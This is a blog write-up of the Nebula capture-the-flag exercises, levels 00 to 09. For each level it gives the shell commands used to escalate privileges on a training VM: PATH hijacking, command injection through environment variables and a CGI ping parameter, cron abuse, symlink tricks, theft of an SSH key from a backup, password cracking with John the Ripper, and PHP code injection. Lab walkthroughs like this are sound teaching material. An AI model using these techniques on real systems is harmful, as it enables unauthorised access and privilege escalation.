Nebula Shell Exploits (Solutions 00-09)
Shell-based exploit exercises
Published on 22 June 2012Overview
Nebula is a series of “capture the flag” exercises from Exploit Exercises. I’ve been reading Hacking: The Art of Exploitation 2e – this was a good supplement.
The provided Ubuntu VM has 20 levels (00 - 19). The goal of each level is to run the getflag
command on a target account, either by exploiting a suid program or obtaining the password.
Solutions
To keep things shorter, a link to the full description is provided with each level. The full description contains relevant source code.
There’s no copy paste for Ubuntu Server VMs, but I included the output when it supplemented the solution.
Level 0
Description (full): Find a file with setuid permissions.
$ find / -perm /u+s
Search the root directory for files based on permissions. The file /bin/.../flag00
looks suspicious.
Level 1
Description (full): Given a program that calls /usr/bin/env echo and now what?
, execute an arbitrary program.
$ export PATH=~:$PATH
$ /bin/echo "whoami; getflag" > ~/echo
$ chmod a+x ~/echo
$ /home/flag01/flag01
env
looks in the PATH
variable to find a program to run. Adding an executable named echo
to an earlier directory in the path will execute the program.
Level 2
Description (full): Given a program that calls /bin/echo $USER
, execute an arbitrary program.
$ export USER="hi echoing; whoami; getflag"
$ /home/flag02/flag02
about to call system("/bin/echo hi echoing; whoami; getflag is cool")
hi echoing
flag02
You have successfully executed getflag on target account
Level 3
Description (full): There is a cron
job that runs occasionally. In the home directory, there is a writable.sh
and a writable.d/
.
$ cd /home/flag03
$ ls
writable.d writable.sh
$ # ./writable.sh runs a for loop with "bash -x $i" for i in writable.d/*
$ echo "whoami" > /tmp/log; getflag >> /tmp/log" > ./writable.d/foo
$ # Wait a few minutes for the cron job
$ cat /tmp/log
flag03
You have successfully executed getflag on target account
Since cron jobs don’t write output to stdout
, the output should be logged in a file.
Level 4
Description (full): The program flag04
dumps the contents of a file to stdout, unless there is a substring match with the string "token"
. Examine the file /home/flag04/token/
.
$ cd /tmp/
$ ln -s /home/flag04/ ./foo
$ cd /home/flag04/
$ ./flag04 /tmp/foo
token
contains the password to the flag04
account. su flag04
and capture the flag.
Level 5
Description (full): Exploit the directory permissions in /home/flag05/
.
$ cd /home/flag05
$ ls -la
$ `/home/flag05` contains `.ssh` (unreadable) and `.backup` (execute access!) directories
$ ls .backup
backup-19072011.tgz
$ # tar tzf backup-19072011.tgz shows that it contains the .ssh directory
$ cd .backup
$ tar xzf backup-19072011.tgz -C ~
$ cd ~/.ssh
$ ssh -i id_rsa flag05@localhost
flag05@nebula:~$ getflag
The -C
flag for tar
switches directories before unarchiving. We then ssh to our own machine, but this time as flag05
.
Level 6
Description (full): The flag06
account credentials are from a legacy UNIX system.
Account credentials points toward /etc/passwd
:
$ cat /etc/passwd/ | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
According to the Internet, older UNIX systems stored the salted, hashed passwords in /etc/passwd
. Now, these are placed in the no-read /etc/shadow/
(or a variant). The flag06
is a one way hash, but John the Ripper can crack it. No special permissions are required to use it.
$ cd ~
$ wget http://www.openwall.com/john/g/john-1.7.9.tar.gz
$ tar xzf john-1.7.9.tar.gz
$ cd john-1.7.9.tar.gz/src
$ make clean linux-x86-sse2
$ cd ../run
$ ./john /etc/passwd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello (flag06)
...
$ su flag06
Password:
sh-4.2$ getflag
Level 7
Description (full): A Perl CGI script attempts to ping a given host.
$ cd /home/flag07
$ perl index.cgi Host="google.com | getflag"
$ # Yields a "getflag is executing on a non-flag account, this doesn't count"
$ cat thttpd.conf | grep flag07
dir=/home/flag07
user=flag07
$ ps aux | grep thttpd
$ # Interestingly, two thttpd web server instances are running on flag07 and flag16
$ cat thttpd.conf | grep port=
port=7007
$ cd ~ && wget localhost:7007/index.cgi --post-data="Host=google.com | getflag"
$ cat index.cgi
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account</pre></body></html>
If we run the script with perl
, getflag
still runs as the level07
user. The vulnerability exists in thttpd.conf
, which runs commands as flag07
(user=flag07
). Capturing the flag requires using thttpd.conf
.
ps aux
shows that a web server using thttpd is running. Using wget localhost:7007/index.cgi
, the parameter is passed in as the flag07
user.
Level 8
Description (full): Examine a capture.pcap
file to see what flag08
was doing.
$ cd /home/flag08
$ # -X prints in ASCII; -q removes extraneous information, -r points to a file
$ tcpdump -X -q -r capture.pcap | less
After mucking around with tcpdump
in ASCII mode, however, it’s clear that the output is still unintelligible. The Internet (broadly speaking) suggests Wireshark (and its command line counterpart, tshark
) to examine packets, but the virtual machine doesn’t have these. However, a program named tcpflow
is available.
$ # -c prints to stdout, -r points to a file
$ tcpflow -c -r capture.pcap | less
After the Password:
prompt, the flag08
user typed “backdoor…00Rm8.ate”. A few tries for su flag08
with backdoor
and backdoor...00Rm8.ate
are unsuccessful. But if we believe that:
- the password is based on words
- each packet represents a key press to the server
“Backdoor mate” could be
backdoorm8
,backd00Rm8
, etc. If the period represents deletion, then the password isbackd00Rmate
.
$ su flag08
Password:
sh-4.2$ getflag
Level 9
Description (full): Exploit a C wrapper for a PHP script. The PHP script uses one argument but accepts a second, unused one – $useme
.
$ cd ~
$ echo "[email {\$use_me(getflag)}]" > foo
$ /home/flag09/flag09 ./foo exec
[error]
You have successfully executed getflag on target account
This exploits PHP’s “variable of variables.” Executing flag09 ~/foo system
also works.